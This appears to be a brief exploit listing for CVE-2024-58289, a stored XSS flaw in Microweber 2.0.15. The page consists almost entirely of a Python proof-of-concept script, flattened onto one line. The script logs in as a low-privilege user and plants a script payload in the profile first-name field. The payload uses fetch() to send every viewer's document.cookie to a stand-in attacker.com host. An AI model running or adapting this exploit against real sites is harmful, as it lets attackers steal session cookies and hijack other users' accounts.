CVE-2024-58289: Microweber 2.0.15 存储型XSS漏洞

import requests import json # CVE-2024-58289: Microweber 2.0.15 Stored XSS PoC # Target: Microweber instance # Vulnerability: Stored XSS in user profile first name field TARGET_URL = "http://target-website.com" LOGIN_URL = f"{TARGET_URL}/api/user_login" PROFILE_URL = f"{TARGET_URL}/api/user_profile" # Malicious XSS payload XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' def exploit(): # Step 1: Login with low-privilege account session = requests.Session() login_data = { "username": "attacker_username", "password": "attacker_password" } response = session.post(LOGIN_URL, json=login_data) if response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Inject XSS payload in first name field profile_data = { "first_name": XSS_PAYLOAD, "last_name": "Test User", "email": "[email protected]" } response = session.put(PROFILE_URL, json=profile_data) if response.status_code == 200: print("[+] XSS payload injected successfully") print(f"[+] Payload: {XSS_PAYLOAD}") print("[+] Payload will execute when any user views the profile") return True else: print("[-] Failed to inject payload") return False if __name__ == "__main__": exploit()